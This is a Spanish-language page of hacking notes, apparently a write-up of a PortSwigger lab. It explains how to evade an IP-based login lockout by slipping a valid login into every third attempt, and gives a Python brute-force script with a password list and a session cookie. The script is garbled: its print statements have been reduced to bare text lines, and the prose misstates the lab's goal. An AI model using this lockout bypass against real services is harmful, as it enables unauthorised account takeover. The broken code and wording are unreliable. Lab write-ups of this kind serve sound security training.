> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/authentication/broken-brute-force-protection-ip-block.md).
# Protección contra fuerza bruta rota con bloqueo basado en IP
Notas sobre Protección contra fuerza bruta rota con bloqueo basado en IP para los laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payload, validación en Burp Suite y contexto de mitigación.
### Protección rota contra fuerza bruta, bloqueo de IP
Este laboratorio tiene un fallo lógico en su protección contra ataques de fuerza bruta. / El objetivo es **fortalecer la contraseña de la víctima** y luego iniciar sesión en su cuenta.
* **Credenciales proporcionadas:** wiener / peter
* **Nombre de usuario de la víctima:** carlos
#### Observación del mecanismo de bloqueo
Probar varias combinaciones para el usuario carlos muestra que, después de **tres intentos incorrectos**, la aplicación muestra:
> *Has hecho demasiados intentos de inicio de sesión incorrectos. Inténtalo de nuevo en 1 minuto(s).*
Por lo tanto, el sitio aplica un **bloqueo basado en la dirección IP** después de varios fallos consecutivos.
### Evasión del bloqueo de IP
Para eludir esta protección, se aprovecha un fallo lógico:
* Enviamos **dos** intentos inválidos para carlos.
* En el **tercer** intento, enviamos una autenticación válida\*\*, pero con las credenciales de wiener: peter.
* Como esta conexión tiene éxito, el sistema \*\* restablece el contador\*\* para esta dirección IP.
### Script de Python utilizado
El siguiente script automatiza el ataque probando dos contraseñas para carlos y luego restablece el contador mediante una conexión exitosa como wiener:
```python
import requests
import time
url = "https://0a19006903c3409a83f97eef000a00be.web-security-academy.net/login"
session_cookie = "7iUGnIrXGPogHTIfzuPfAC89Jel0jghh"
passwords = [
"123456", "password", "12345678", "qwerty", "123456789", "12345", "1234",
"111111", "1234567", "dragon", "123123", "baseball", "abc123", "football",
"monkey", "letmein", "shadow", "master", "666666", "qwertyuiop", "123321",
"mustang", "1234567890", "michael", "654321", "superman", "1qaz2wsx",
"7777777", "121212", "000000", "qazwsx", "123qwe", "killer", "trustno1",
"jordan", "jennifer", "zxcvbnm", "asdfgh", "hunter", "buster", "soccer",
"harley", "batman", "andrew", "tigger", "sunshine", "iloveyou", "2000",
"charlie", "robert", "thomas", "hockey", "ranger", "daniel", "starwars",
"klaster", "112233", "george", "computer", "michelle", "jessica", "pepper",
"1111", "zxcvbn", "555555", "11111111", "131313", "freedom", "777777",
"pass", "maggie", "159753", "aaaaaa", "ginger", "princess", "joshua",
"cheese", "amanda", "summer", "love", "ashley", "nicole", "chelsea",
"biteme", "matthew", "access", "yankees", "987654321", "dallas", "austin",
"thunder", "taylor", "matrix", "mobilemail", "mom", "monitor", "monitoring",
"montana", "moon", "moscow"
]
session = requests.Session()
def login(username, password):
headers = {'Cookie': f'session={session_cookie}'}
data = {'username': username, 'password': password}
return session.post(url, headers=headers, data=data, allow_redirects=False)
for i in range(0, len(passwords), 2):
batch = passwords[i:i+2]
for password in batch:
Probando carlos:{password}
response = login("carlos", password)
if response.status_code == 302:
¡CONTRASEÑA ENCONTRADA! carlos:{password}
exit()
if i + 2 < len(passwords):
Restableciendo con wiener:peter
login("wiener", "peter")
time.sleep(1)
Contraseña no encontrada
```
La contraseña correcta para carlos descubierta mediante el ataque es:
> **michelle**
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